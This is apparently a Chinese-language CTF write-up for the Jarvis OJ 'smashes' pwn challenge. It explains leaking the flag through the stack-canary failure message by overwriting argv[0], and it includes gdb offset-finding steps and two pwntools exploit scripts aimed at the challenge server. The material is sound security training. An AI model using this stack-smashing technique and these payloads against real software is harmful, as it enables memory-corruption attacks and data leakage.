题目地址
https://dn.jarvisoj.com/challengefiles/smashes.44838f6edd4408a53feb2e2bbfe5b229
友链
https://www.jianshu.com/p/6afc68389901
https://www.jianshu.com/p/76b7d51b20fc
先看一下保护机制
开起了Canary和NX,即不能shellcode也不能用ret2libc和ROP直接绕过,但是这里可以利用Canary的保护机制,利用Canary报错信息打印flag,具体原理参考https://www.jianshu.com/p/b0b254b94afe
大概就是 利用Canary本身的保护机制,当Canary被修改了,函数会call到_stack_chk_fail来打印argv[0]指针所指向的字符串,而argv[0]默认情况下是程序的名字,如果我们把它覆盖成flag的地址,那么就可以打印出flag
这里还有一个坑,当ELF文件比较小的时候,它的可能会被映射到不同的地址,也就是说flag可能不止一个地址,利用gdb寻找
获得flag的地址0x400d20
之后我们还需要获得argv[0]到输入name这段的偏移量,这里还是用gdb调试
先寻找argv[0]的地址,0x7fffffffe2c0指向的是程序的名字,是argv[0],又因为0x7fffffffdf58保留了这个地址,所以我们需要的地址是0x7fffffffdf58
然后再断点在IO_gets前面,(一定要在IO_gets函数前面这才是求两段的距离),直接断点在IO_gets是错误的,这个需要慢慢调试,
然后求这两段之间的偏移量,最终偏移了0x218个字符
exp如下
from pwn import * r=remote('pwn.jarvisoj.com',9877) r.recvuntil('name?') payload='a'*0x218+p64(0x400d20) r.sendline(payload) r.interactive()
执行结果
还有一种更加简单粗暴的方法,不知道偏移量,直接全部覆盖成flag的地址
from pwn import * r=remote('pwn.jarvisoj.com',9877) r.recvuntil('name?') payload=p64(0x400d20)*200 r.sendline(payload) r.interactive()